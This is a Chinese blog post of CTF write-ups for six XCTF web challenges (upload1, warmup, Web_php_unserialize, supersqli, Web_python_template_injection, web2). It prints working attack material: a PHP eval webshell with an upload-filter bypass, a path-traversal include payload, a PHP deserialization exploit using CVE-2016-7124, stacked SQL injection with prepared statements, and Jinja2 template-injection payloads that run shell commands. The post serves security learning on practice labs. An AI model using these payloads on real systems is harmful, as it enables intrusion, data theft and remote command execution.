【攻防世界WEB】难度二星6分:upload1、warmup、Web_php_unserialize、supersq

举报
黑色地带(崛起) 发表于 2023/01/28 00:30:16 2023/01/28
【摘要】 【攻防世界WEB】难度二星6分:upload1、warmup、Web_php_unserialize、supersq

前言:

介绍: 

博主:网络安全领域狂热爱好者。

殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。


导读:

面向读者:对于网络安全方面的学者。


 目录

upload1

解题方法:

过程

warmup

解题方法:

过程

Web_php_unserialize

解题方法:

过程

supersqli

解题方法:

过程

Web_python_template_injection

解题方法:

过程

web2

解题方法:

过程


推荐

【攻防世界WEB】难度二星6分入门题(上):webshell、command_execution、xff_referer、php_rce、Web_php_include、NewsCenter https://blog.csdn.net/qq_53079406/article/details/125905265?spm=1001.2014.3001.5501【攻防世界WEB】难度一星3分入门题:get、post、robots、、cookie、button、weak、php、web、unserialize https://blog.csdn.net/qq_53079406/article/details/125892455?spm=1001.2014.3001.5501



upload1

编辑



解题方法:

1、上传一句话木马




过程

准备一句话木马

<?php
@eval($_REQUEST['1']);
echo "成功了";
?>

编辑



 上传图片一句话木马

编辑

将其后缀改为jpg或者png

编辑


bp抓包,又改回了php

编辑


 返回了图片位置

编辑

在URL中加上图片地址,返回出,我们输出的字符了

http://61.147.171.105:63781/upload/1658413812.shell.php

编辑


 使用蚁剑(冰蝎、菜刀)连接

 编辑

 在目录中找到了flag编辑


编辑







warmup

编辑



解题方法:

1、文件包含,php代码解析




过程

Ctrl+U查看源码

发现了一个页面

编辑

 发现一个新页面

编辑

现在知道了flag文件夹

编辑




发现满足3个条件,可以包含我们构造的文件file
编辑

1、file变量非空

2、file变量为字符串

3、通过自定义函数checkFile()的检查



自定义函数checkFile()

满足4个if中其中一个即可返回true

编辑

 能返回true的条件:

1、为字符串

2、存在于数组中

3、截取参数中首次出现?之前的部分,该部分在$whitelist数组中

4、先进行 url 解码,再截取参数中首次出现?之前的部分,该部分在$whitelist中


payload

利用第三个 if

payload1:

source.php?file=source.php?/../../../../ffffllllaaaagggg

payload2:

source.php?file=hint.php%253f../../../../../../ffffllllaaaagggg

(第一个?用来传参,第二个?用来截断前面的,source.php是在$whitelist中的)

(../的个数是指一直找的层数,多几层不要紧)

(第二个?,二次URL编码为%253f,服务器解码一次,checkFile函数解码一次)


payload1:

编辑

 payload2:编辑




Web_php_unserialize

编辑



解题方法:

1、php代码解析,序列化与反序列化




过程

flag在flag.php文件中

编辑


<?php 
class Demo { 
    private $file = 'index.php';  
//类的私有变量
    public function __construct($file) { 
//实例化对象,__construct() 函数,当类新建对象的时候会执行
        $this->file = $file;   
//将对象的file属性的值设置为file变量
    }
    function __destruct() {  
//__destruct() 函数,当对象被销毁时将会被调用
        echo @highlight_file($this->file, true);  
//输出读取到的文件
//highlight_file() 函数,输出指定PHP文件代码
    }
    function __wakeup() {    
//__wakeup() 函数,在unserialize()反序列化操作前会被调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  
//将对象的file参数设置为index.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
//get方法传参
    $var = base64_decode($_GET['var']);  
//对获取到的参数var的值进行base64解码
    if (preg_match('/[oc]:\d+:/i', $var)) {  
//preg_match() 函数一个正则表达,匹配上了就返回true, \d匹配任意的数字  /i表示匹配时不区分大小写 /[oc]匹配oc字符
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
//unserialize() 函数用来反序列化字符串
    } 
} else { 
    highlight_file("index.php"); 
//highlight_file() 函数,输出指定PHP文件代码
} 
?>

1、绕过base64_decode函数:对构造的语句进行base64编码

2、绕过preg_match函数:加个加号“+”,在反序列化串O(object)开头,

3、绕过wakeup函数:利用__wakeup()的CVE-2016-7124,在序列化的字符串当中当真实的属性个数大于真实的属性个数时,该函数不会执行


构造

<?php
class Demo {     //定义Demo类
    private $file = 'fl4g.php';    //类的私有变量file为fl4g.php
}
$a = serialize(new Demo);//对其进行序列化操作
$a = str_replace('O:4', 'O:+4',$a);       //用+4替换4,绕过preg_match()函数的正则过滤
$a = str_replace(':1:', ':2:',$a);        //用2替换1,绕过__wakeup()函数,利用__wakeup()的CVE-2016-7124  在序列化的字符串当中当真实的属性个数大于真实的属性个数时  该函数不会执行
echo base64_encode($a);                   //进行base64编码,绕过解码函数
?>

使用php在线运行

编辑

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

构造

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

编辑




supersqli

编辑



解题方法:

1、SQL注入(堆叠注入,预编译)




过程

加上单引号有报错,说明存在注入点

编辑

 使用#注释,没有报错,说明为单引号闭合

编辑


判断字段数

1'order by 2#

回显正常

编辑

1'order by 3#

报错,说明字段数为2

编辑



爆库

1'union select  1,database()#

看见存在正则匹配

编辑


看来可以使用堆叠注入中的show来查看

1'; show databases; # 

查询数据库

编辑


查询表 

 1';use supersqli;show tables;#

编辑


查字段

1';use supersqli;show columns from `1919810931114514`;#   

纯数字字符串是表名的时候,需要加反引号`

编辑



爆数据

因为select被过滤,不能直接查询

考虑使用预编译

1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

或者

1';  Set @sql = CONCAT('sele','ct flag from `1919810931114514`;');  prepare stmt from @sql;  EXECUTE stmt;#编辑





Web_python_template_injection


编辑



解题方法:

1、python模板漏洞注入




过程

表明存在漏洞

编辑


 查看全局变量config

可以发现未被禁用

思路1:直接查看服务器的本地文件

思路2:通过python的对象的继承一步步实现文件读取和命令执行,找到父类<type ‘object’--寻找子类---找关于命令执行或者文件操作的模块

编辑



/{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

1、__ class__:查看变量所属的类
2、__ init __:初始化类,返回function
3、__ globals __: 获取function所处空间下可使用的module、方法以及所有变量
4、os.popen() 从一个命令打开一个管道
5、popen():函数内的命令为要执行命令

编辑



读取fl4g的信息

/{{ config.__class__.__init__.__globals__['os'].popen('cat fl4g').read() }}

编辑



web2

编辑



解题方法:

1、逆向加密算法,解密获得flag 




过程

编辑

函数:

1、strrev() 函数:反转字符串

2、substr函数:返回字符串的一部分,substr(string,start,length)

3、ord() 函数:返回字符串的首个字符的 ASCII 值

4、chr() 函数:从指定的 ASCII 值返回字符,chr(ascii)

5、str_rot13() 函数:对字符串执行 ROT13 编码。ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变,str_rot13(string)




解码

就是将加密的顺序反过来

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=base64_decode(strrev(str_rot13($miwen)));   

$m=$miwen;
for($i=0;$i<strlen($m);$i++){
	$_c=substr($m,$i,1);
	$__=ord($_c)-1;    # 字符转数字再减1
	$__=chr($__);      # 数字转字符 
    $_=$_.$__;         # 拼接字符串
	}
echo strrev($_);        # 反转字符串
?>

php在线运行

编辑



【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。